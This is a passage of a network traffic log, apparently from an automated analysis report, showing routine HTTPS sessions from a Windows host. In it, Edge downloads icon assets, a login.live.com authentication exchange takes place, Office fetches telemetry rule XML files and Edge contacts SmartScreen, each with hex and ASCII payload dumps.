2024-11-09 21:09:44 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0b63e36f-801e-0010-3349-325ee1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-15869dbbcc6m5ms4hC1DFWqm4w00000003mg000000001xh3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49871	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 9d5e99bb-201e-0070-2e49-321bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-15869dbbcc6tjwwhhC1DFWn228000000051000000000auef Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49868	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 19db0411-001e-0028-5172-2c1fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-16547b76f7f7scqbhC1DFW0m5w0000000bg000000000dq30 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49859	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-09 21:09:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-09 21:09:45 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 09 Nov 2024 21:08:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C524_BAY x-ms-request-id: 3869d100-6e07-4f65-ab6b-b2ea9a687147 PPServer: PPV: 30 H: PH1PEPF00018BD4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:45 GMT Connection: close Content-Length: 11392
2024-11-09 21:09:45 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0289627d-301e-0000-3e62-32eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210945Z-17df447cdb5rnd49hC1DFWgmpw00000002b00000000077vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210945Z-16547b76f7fnlcwwhC1DFWz6gw0000000bv00000000058yr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 12ef7264-e01e-003c-02a0-31c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210945Z-17df447cdb5c9wvxhC1DFWn08n0000000890000000009n4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:45 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210945Z-16547b76f7f67wxlhC1DFWah9w0000000bs0000000001kra x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 62c29a92-201e-003c-094f-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210945Z-15869dbbcc6rmhmhhC1DFWr8y000000003u00000000014sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:45 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49879	4.152.133.8	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:45 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVlJLQ2hJdnoxZ010V3R5c1lqVjk1dz09IiwgImhhc2giOiIzZzd3U0lWeHhRYz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-09 21:09:45 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-09 21:09:45 UTC	302	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-09 21:09:45 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
